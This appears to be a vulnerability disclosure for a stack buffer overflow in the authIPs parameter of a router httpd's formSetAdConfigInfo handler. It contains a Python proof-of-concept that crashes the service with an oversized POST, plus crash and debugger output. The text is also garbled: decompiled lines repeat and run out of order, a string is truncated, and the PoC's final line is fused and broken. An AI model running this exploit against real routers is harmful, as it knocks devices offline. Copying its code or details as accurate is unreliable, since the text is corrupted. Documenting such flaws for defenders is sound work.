

## Description

## 1. Vulnerability Details

the httpd in directory /bin has a stack buffer overflow. The vunlerability is in fucntion formSetAdConfigInfo

```
38  v31 = (char *)webGetVar(a1, "authGapTime", "30");
39  v30 = (char *)webGetVar(a1, "reAuthotraffic", "15");
40  v29 = (char *)webGetVar(a1, "reAuthType", "1");
50  s = (void *)webGetVar(a1, "thirdPartyAuth", "http://qq.com/auth?username=a&pwd=b");
51  s = (char *)webGetVar(a1, "authIPs", "192.168.100.100-182.168.100.200\n192.168.1.1\n192.168.1.100-192.168.1.25;
52  v26 = (char *)webGetVar(a1, "authIpRange", "2");
64  nptr = (char *)webGetVar(a1, "phoneAuthFrequency", "1");
65  v27 = (char *)webGetVar(a1, "phoneNumberBlackList", "13112345678\n15118015944\n138888888888");
66  v27 = (char *)webGetVar(a1, "phoneNumberBlackList", "13112345678\n15118015944\n138888888888");
67  v28 = (char *)webGetVar(a1, "authIPreeMacs", "C8:3A:35:00:9C:90\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:92");
68  v1 = strlen(s);
69  memcpy(v16, s, v1);
60  memcpy(v15, v24, v2);
61  v3 = strlen(v23);
62  memcpy(v14, v23, v3);
63  memcpy(v14, v23, v3);
64  v30 = (char *)webGetVar(a1, "authIPreeMacs", "C8:3A:35:00:9C:90\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:92");
65  memcpy(v15, v24, v2);
66  v30 = (char *)webGetVar(a1, "authIPreeMacs", "C8:3A:35:00:9C:90\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:92");
67  v10 = strlen(v24);
68  memcpy(v15, v24, v2);
69  memcpy(v15, v24, v2);
60  memcpy(v14, v23, v3);
60  memcpy(v14, v23, v3);
61  v31 = (char *)webGetVar(a1, "authIPreeMacs", "C8:3A:35:00:9C:90\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:92");
62  memcpy(v14, v23, v3);
63  v31 = (char *)webGetVar(a1, "authIPreeMacs", "C8:3A:35:00:9C:90\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:92");
64  v32 = (char *)webGetVar(a1, "authIPreeMacs", "C8:3A:35:00:9C:90\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:35:00:9C:91\nC8:3A:3
```

In this function, is copies POST parameter authIPs to stack buffer without checking its length, causing a stack buffer overflow vulnerability.

## 2. Recurring loopholes and POC

use qemu-arm-static to run the httpd, we need to patch it before run.

- in main function, The ConnectCfm function didn't work properly, so I patched it to NOP
- The R7WebsSecurityHandler function is used for permission control, and I've modified it to access URLs that can only be accessed after login

poc of DOS(deny of service)

```
import requests

data = {
    "authIPs": "a"*0x1000
}

cookies = {
    "user": "admin"
}

res = requests.post("http://127.0.0.1/goform/setAdConfigInfo", data=data, cookies=coprint(res.content)
```

```
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
/bin/sh: can't create /proc/sys/net/ipv4/tcp_timestamps: nonexistent directory
httpd listen ip = 127.0.0.1 port = 80
webs: Listening for HTTP requests at address 20.246.254.255
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
       14162 segmentation fault sudo chroot . ./qemu bin/httpd
[1]
```

```
Program received signal SIGSEGV, Segmentation fault.
0xff5d4034 in strlen () from /home/tmotfl/IOT/Tend
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
         0x61616161 ('aaaa')
0x61616160 ('`aaa')
R2
       0x0
        0x61616161 ('aaaa')
*R3
*R5
                     ← strbtvs r6, [pc], -pc, lsr #14 /* 0x666f672f; '/goform/setAdConfigInfo' */
*R6 0x1
                     Lod ← 0x61616161 ('aaaa')
...tn(t) ← mov ip, sp /* 0xe1a0c00d */
← push {r4, fp, lr} /* 0xe92d4810 */
** 118 ← 0x61616161 ('aaaa')
Loc ← 0x61616161 ('aaaa')
Loc ← 0x61616161 ('aaaa')
** 0x61616161 ('aaaa')
- ** 0x61616161 ('aaaa')
** 0x61616161 ('aaaa')
- ** 0x61616161 ('aaaa')
*R7
*R9
*R10
                          ← 0
(strlen+4) ← ldr r2, [r1], #4 /* 0xe4912004 */
*SP
*PC
    0xff5d4030 <strlen>
                                                        r1, r0, #3
r2, [r1], #4
                                          ldr
                                                       r3, r0, #3
r0, r3, #0
#strlen+40
    0xff5d4038 <strlen+8>
    0xff5d403c <strlen+12>
    0xff5d4040 <strlen+16>
```

```
> f 0 0xff5d4034 strlen+4
    f 1 0x82654 formSetAdConfigInfo+648

wndbg> backtrace
0 0xff5d4034 in strlen () from /home/tmotfl/IOT/TendaM3/_US_M3V1.0BR_V1.0.0.12(4856)_
1 0x00082654 in formSetAdConfigInfo ()
2 0x61616160 in ?? ()
3 acktrace stopped: previous frame identical to this frame (corrupt stack?)
```